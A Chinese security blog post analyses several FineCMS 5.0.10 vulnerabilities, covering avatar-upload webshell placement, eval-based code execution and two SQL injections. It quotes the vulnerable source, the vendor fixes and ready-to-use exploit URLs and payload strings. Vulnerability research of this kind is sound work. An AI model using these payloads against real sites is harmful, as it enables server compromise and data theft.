Finecms 5.0.10 Multiple vulnerability analysis

0x01 前言

已经一个月没有写文章了,最近发生了很多事情,之前的每日一洞、每周一洞,到现在的每月一洞了。感觉去审计多了就好比如去刷题,但是我觉得应该做一个系统化的学习.
今天的这个 CMS 是 FineCMS,版本是 5.0.10 版本的几个漏洞分析,从修补漏洞前和修补后的两方面去分析。

0x02 环境搭建

https://www.ichunqiu.com/vm/59011/1 可以去 I 春秋的实验,不用自己搭建那么麻烦了。

0x03 任意文件上传漏洞

1. 漏洞复现

用十六进制编辑器写一个有一句话的图片
去网站注册一个账号,然后到上传头像的地方。
抓包,把 jepg 的改成 php 发包。

可以看到文件已经上传到到 /uploadfile/member/ 用户 ID/0x0.php

2. 漏洞分析

文件:finecms/dayrui/controllers/member/Account.php 177~244 行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/**
* 上传头像处理
* 传入头像压缩包,解压到指定文件夹后删除非图片文件
*/
public function upload() {

// 创建图片存储文件夹
$dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
@dr_dir_delete ($dir);
!is_dir ($dir) && dr_mkdirs ($dir);

if ($_POST['tx']) {
$file = str_replace (' ', '+', $_POST['tx']);
if (preg_match ('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
$new_file = $dir.'0x0.'.$result[2];
if (!@file_put_contents ($new_file, base64_decode (str_replace ($result[1], '', $file)))) {
exit(dr_json (0, ' 目录权限不足或磁盘已满 '));
} else {
$this->load->library ('image_lib');
$config['create_thumb'] = TRUE;
$config['thumb_marker'] = '';
$config['maintain_ratio'] = FALSE;
$config['source_image'] = $new_file;
foreach (array(30, 45, 90, 180) as $a) {
$config['width'] = $config['height'] = $a;
$config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
$this->image_lib->initialize ($config);
if (!$this->image_lib->resize ()) {
exit(dr_json (0, ' 上传错误:'.$this->image_lib->display_errors ()));
break;
}
}
list($width, $height, $type, $attr) = getimagesize ($dir.'45x45.'.$result[2]);
!$type && exit(dr_json (0, ' 图片字符串不规范 '));
}
} else {

exit(dr_json (0, ' 图片字符串不规范 '));
}
} else {
exit(dr_json (0, ' 图片不存在 '));
}

// 上传图片到服务器
if (defined ('UCSSO_API')) {
$rt = ucsso_avatar ($this->uid, file_get_contents ($dir.'90x90.jpg'));
!$rt['code'] && $this->_json (0, fc_lang (' 通信失败:% s', $rt['msg']));
}


exit('1');
}

这个我记得在 5.0.8 的版本有讲过这个代码的漏洞执行 https://getpass.cn/2018/01/30/The%20latest%20version%20of%20FineCMS%205.0.8%20getshell%20daily%20two%20holes/

后来官方修复的方案是加上了白名单了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if (!in_array (strtolower ($result[2]), array('jpg', 'jpeg', 'png', 'gif'))) {
exit(dr_json (0, ' 目录权限不足 '));
}
...
$c = 0;
if ($fp = @opendir ($dir)) {
while (FALSE !== ($file = readdir ($fp))) {
$ext = substr (strrchr ($file, '.'), 1);
if (in_array (strtolower ($ext), array('jpg', 'jpeg', 'png', 'gif'))) {
if (copy ($dir.$file, $my.$file)) {
$c++;
}
}
}
closedir ($fp);
}
if (!$c) {
exit(dr_json (0, fc_lang (' 未找到目录中的图片 ')));
}

0x04 任意代码执行漏洞

1. 漏洞复现

auth 下面的分析的时候会说到怎么获取

浏览器输入:
http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df&param=action=cache%20name=MEMBER.1%27];phpinfo ();$a=[%271

2. 漏洞分析

这个漏洞的文件在 /finecms/dayrui/controllers/Api.phpdata2 ()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
public function data2() {
$data = array();

// 安全码认证
$auth = $this->input->get ('auth', true);
if ($auth != md5 (SYS_KEY)) {
// 授权认证码不正确
$data = array('msg' => ' 授权认证码不正确 ', 'code' => 0);
} else {
// 解析数据
$cache = '';
$param = $this->input->get ('param');
if (isset($param['cache']) && $param['cache']) {
$cache = md5 (dr_array2string ($param));
$data = $this->get_cache_data ($cache);
}
if (!$data) {

//list 数据查询
$data = $this->template->list_tag ($param);
$data['code'] = $data['error'] ? 0 : 1;
unset($data['sql'], $data['pages']);

// 缓存数据
$cache && $this->set_cache_data ($cache, $data, $param['cache']);
}
}

// 接收参数
$format = $this->input->get ('format');
$function = $this->input->get ('function');
if ($function) {
if (!function_exists ($function)) {
$data = array('msg' => fc_lang (' 自定义函数 '.$function.' 不存在 '), 'code' => 0);
} else {
$data = $function($data);
}
}

// 页面输出
if ($format == 'php') {
print_r ($data);
} elseif ($format == 'jsonp') {
// 自定义返回名称
echo $this->input->get ('callback', TRUE).'('.$this->callback_json ($data).')';
} else {
// 自定义返回名称
echo $this->callback_json ($data);
}
exit;

}

可以看到开头这里验证了认证码:

1
2
3
4
5
6
// 安全码认证 
$auth = $this->input->get ('auth', true);
if ($auth != md5 (SYS_KEY)) {
// 授权认证码不正确
$data = array('msg' => ' 授权认证码不正确 ', 'code' => 0);
} else {

授权码在 /config/system.php

可以看到 SYS_KEY 是固定的,我们可以在 Cookies 找到,/finecms/dayrui/config/config.php

用浏览器查看 Cookies 可以看到 KEY,但是验证用 MD5,我们先把 KEY 加密就行了。

直接看到这一段,调用了 Template 对象里面的 list_tag 函数

1
2
3
4
5
6
7
8
9
10
if (!$data) {

//list 数据查询
$data = $this->template->list_tag ($param);
$data['code'] = $data['error'] ? 0 : 1;
unset($data['sql'], $data['pages']);

// 缓存数据
$cache && $this->set_cache_data ($cache, $data, $param['cache']);
}

我们到 finecms/dayrui/libraries/Template.phplist_tag 函数的代码,代码有点长,我抓重点的地方,这里把 param=action=cache%20name=MEMBER.1%27];phpinfo ();$a=[%271 的内容分为两个数组 $var$val,这两个数组的内容分别为

1
2
$var=['action','name']
$val=['cache%20','MEMBER.1%27];phpinfo ();$a=[%271']

$cache=_cache_var 是返回会员的信息
重点的是下面的 @eval ('$data=$cache'.$this->_get_var ($_param).';');

1
2
3
foreach ($params as $t) {
$var = substr ($t, 0, strpos ($t, '='));
$val = substr ($t, strpos ($t, '=') + 1);

再看这一段,因为 swtich 选中的是 cache,所有就不再进行下面的分析了。
$pos = strpos ($param ['name'], '.'); 这句是为下面的 substr 函数做准备。
是为了分离出的内容为

1
2
$_name='MEMBER'
$_param="1%27];phpinfo ();$a=[%271"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//action
switch ($system['action']) {

case 'cache': // 系统缓存数据
if (!isset($param['name'])) {
return $this->_return ($system['return'], 'name 参数不存在 ');
}

$pos = strpos ($param['name'], '.');
if ($pos !== FALSE) {
$_name = substr ($param['name'], 0, $pos);
$_param = substr ($param['name'], $pos + 1);
} else {
$_name = $param['name'];
$_param = NULL;
}
$cache = $this->_cache_var ($_name, !$system['site'] ? SITE_ID : $system['site']);
if (!$cache) {
return $this->_return ($system['return'], " 缓存 ({$_name}) 不存在,请在后台更新缓存 & quot;);
}
if ($_param) {
$data = array();
@eval('$data=$cache'.$this->_get_var ($_param).';');
if (!$data) {
return $this->_return ($system['return'], " 缓存 ({$_name}) 参数不存在!!");
}
} else {
$data = $cache;
}

return $this->_return ($system['return'], $data, '');
break;

跟踪 get_var 函数,在这里我们先把 $param 的内容假设为 a, 然后执行函数里面的内容,最后返回的 $string 的内容是:
$string=['a']
那么我们的思路就是把两边的 [‘ ‘] 闭合然后再放上恶意的代码。
payload 为:1'];phpinfo ();$a=['1
那么返回的 $string 的内容:
$string=['1'];phpinfo ();$a=['1']

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function _get_var($param) {
$array = explode ('.', $param);
if (!$array) {
return '';
}
$string = '';
foreach ($array as $var) {
$string.= '[';
if (strpos ($var, '$') === 0) {
$string.= preg_replace ('/\[(.+)\]/U', '[\'\\1\']', $var);
} elseif (preg_match ('/[A-Z_]+/', $var)) {
$string.= ''.$var.'';
} else {
$string.= '\''.$var.'\'';
}
$string.= ']';
}

return $string;
}

修复后的 _get_var 函数里面多了一个 dr_safe_replace 过滤函数,然后 data2 () 删除了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function _get_var($param) {

$array = explode ('.', $param);
if (!$array) {
return '';
}
$string = '';
foreach ($array as $var) {
$var = dr_safe_replace ($var);
$string.= '[';
if (strpos ($var, '$') === 0) {
$string.= preg_replace ('/\[(.+)\]/U', '[\'\\1\']', $var);
} elseif (preg_match ('/[A-Z_]+/', $var)) {
$string.= ''.$var.'';
} else {
$string.= '\''.$var.'\'';
}
$string.= ']';
}

return $string;
}

dr_safe_replace ()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function dr_safe_replace($string) {
$string = str_replace ('%20', '', $string);
$string = str_replace ('%27', '', $string);
$string = str_replace ('%2527', '', $string);
$string = str_replace ('*', '', $string);
$string = str_replace ('"', '"', $string);
$string = str_replace ("'", '', $string);
$string = str_replace ('"', '', $string);
$string = str_replace (';', '', $string);
$string = str_replace ('<', '&lt;', $string);
$string = str_replace ('>', '&gt;', $string);
$string = str_replace ("{", '', $string);
$string = str_replace ('}', '', $string);
return $string;
}

0x05 任意 SQL 语句执行 1

1. 漏洞复现

浏览器:

http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df&param=action=sql%20sql=%27select%20version ();%27

2. 漏洞分析

这里就不用 debug 模式去跟进了,有不懂 CI 框架的数据库操作可以去看官方文档 http://codeigniter.org.cn/user_guide/database/index.html

问题一样出在 finecms/dayrui/controllers/Api.php 中的 data2 (), 可以直接去看 finecms/dayrui/libraries/Template.php 里面的 list_tag () 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
case 'sql': // 直接 sql 查询 

if (preg_match ('/sql=\'(.+)\'/sU', $_params, $sql)) {


// 数据源的选择
$db = $this->ci->db;

// 替换前缀
$sql = str_replace (
array('@#S', '@#'),
array($db->dbprefix.$system['site'], $db->dbprefix),
trim (urldecode ($sql[1]))
);
if (stripos ($sql, 'SELECT') !== 0) {
return $this->_return ($system['return'], 'SQL 语句只能是 SELECT 查询语句 ');
}

$total = 0;
$pages = '';

// 如存在分页条件才进行分页查询
if ($system['page'] && $system['urlrule']) {
$page = max (1, (int)$_GET['page']);
$row = $this->_query (preg_replace ('/select \* from/iUs', 'SELECT count (*) as c FROM', $sql), $system['site'], $system['cache'], FALSE);
$total = (int)$row['c'];
$pagesize = $system['pagesize'] ? $system['pagesize'] : 10;
// 没有数据时返回空
if (!$total) {
return $this->_return ($system['return'], ' 没有查询到内容 ', $sql, 0);
}
$sql.= ' LIMIT '.$pagesize * ($page - 1).','.$pagesize;
$pages = $this->_get_pagination (str_replace ('[page]', '{page}', urldecode ($system['urlrule'])), $pagesize, $total);
}

$data = $this->_query ($sql, $system['site'], $system['cache']);
$fields = NULL;

if ($system['module']) {
$fields = $this->ci->module [$system['module']]['field']; // 模型主表的字段
}

if ($fields) {
// 缓存查询结果
$name = 'list-action-sql-'.md5 ($sql);
$cache = $this->ci->get_cache_data ($name);
if (!$cache && is_array ($data)) {
// 模型表的系统字段
$fields['inputtime'] = array('fieldtype' => 'Date');
$fields['updatetime'] = array('fieldtype' => 'Date');
// 格式化显示自定义字段内容
foreach ($data as $i => $t) {
$data[$i] = $this->ci->field_format_value ($fields, $t, 1);
}
//$cache = $this->ci->set_cache_data ($name, $data, $system ['cache']);
$cache = $system['cache'] ? $this->ci->set_cache_data ($name, $data, $system['cache']) : $data;
}
$data = $cache;
}
return $this->_return ($system['return'], $data, $sql, $total, $pages, $pagesize);
} else {
return $this->_return ($system['return'], ' 参数不正确,SQL 语句必须用单引号包起来 '); // 没有查询到内容
}
break;

这里想说一下就是 preg_match 这个函数的作用,他匹配过后 sql 是一个数组:

1
2
3
4
5
6
array (2) {
[0]=>
string (23) "sql='select version ();'"
[1]=>
string (17) "select version ();"
}

这里判断了开头的位置是否只使用了 select

1
2
if (stripos ($sql, 'SELECT') !== 0) {
return $this->_return ($system['return'], 'SQL 语句只能是 SELECT 查询语句 ');

再往下看,这一句才是执行 SQL 的地方,传入 sql 内容和 $system ['site'] 默认是 1,$system ['cache'] 默认缓存时间是 3600

1
$data = $this->_query ($sql, $system['site'], $system['cache']);

继续跟进 _query () 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public function _query($sql, $site, $cache, $all = TRUE) {
echo $this->ci->site [$site];
// 数据库对象
$db = $site ? $this->ci->site [$site] : $this->ci->db;
$cname = md5 ($sql.dr_now_url ());
// 缓存存在时读取缓存文件
if ($cache && $data = $this->ci->get_cache_data ($cname)) {
return $data;
}

// 执行 SQL
$db->db_debug = FALSE;
$query = $db->query ($sql);

if (!$query) {
return 'SQL 查询解析不正确:'.$sql;
}

// 查询结果
$data = $all ? $query->result_array () : $query->row_array ();

// 开启缓存时,重新存储缓存数据
$cache && $this->ci->set_cache_data ($cname, $data, $cache);

$db->db_debug = TRUE;

return $data;
}

没有对函数进行任何过滤 $query = $db->query ($sql);,直接带入了我们的语句。

官方的修复方法:删除了 data2 () 函数

0x06 任意 SQL 语句执行 2

1. 漏洞复现

浏览器:

http://getpass1.cn/index.php?s=member&c=api&m=checktitle&id=1&title=1&module=news,(select%20 (updatexml (1,concat (1,(select%20user ()),0x7e),1))) a

2. 漏洞分析

文件在 finecms/dayrui/controllers/member/Api.phpchecktitle () 函数

1
2
3
4
5
6
7
8
9
10
11
12
public function checktitle() {

$id = (int)$this->input->get ('id');
$title = $this->input->get ('title', TRUE);
$module = $this->input->get ('module');

(!$title || !$module) && exit('');

$num = $this->db->where ('id<>', $id)->where ('title', $title)->count_all_results (SITE_ID.'_'.$module);
echo $num;
$num ? exit(fc_lang ('<font color=red>'.fc_lang (' 重复 ').'</font>')) : exit('');
}

其他的没什么过滤,主要是 CI 框架里面的一些内置方法,比如 count_all_results,可以到 http://codeigniter.org.cn/user_guide/database/query_builder.html?highlight=count_all_results#CI_DB_query_builder::count_all_results 查看用法

还有一个就是 SITE_ID 变量,它是指

站点是系统的核心部分,各个站点数据独立,可以设置站点分库管理

剩下也没什么可分析了,不懂 updatexml 语句可以看下面的参考链接

0x07 结束

还有一个远程命令执行漏洞没能复现,是在 api 的 html () 函数,说是可以用 & 来突破,但是 eval 只能用 ; 来结束语句的结束。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function dr_safe_replace($string) {
$string = str_replace ('%20', '', $string);
$string = str_replace ('%27', '', $string);
$string = str_replace ('%2527', '', $string);
$string = str_replace ('*', '', $string);
$string = str_replace ('"', '&quot;', $string);
$string = str_replace ("'", '', $string);
$string = str_replace ('"', '', $string);
$string = str_replace (';', '', $string);
$string = str_replace ('<', '&lt;', $string);
$string = str_replace ('>', '&gt;', $string);
$string = str_replace ("{", '', $string);
$string = str_replace ('}', '', $string);
return $string;
}

0x08 参考

https://www.t00ls.net/thread-41630-1-1.html

https://www.t00ls.net/viewthread.php?tid=44262

http://lu4n.com/finecms-rce-0day/

https://blog.csdn.net/vspiders/article/details/77430024

http://www.cnblogs.com/Loofah/archive/2012/05/10/2494036.html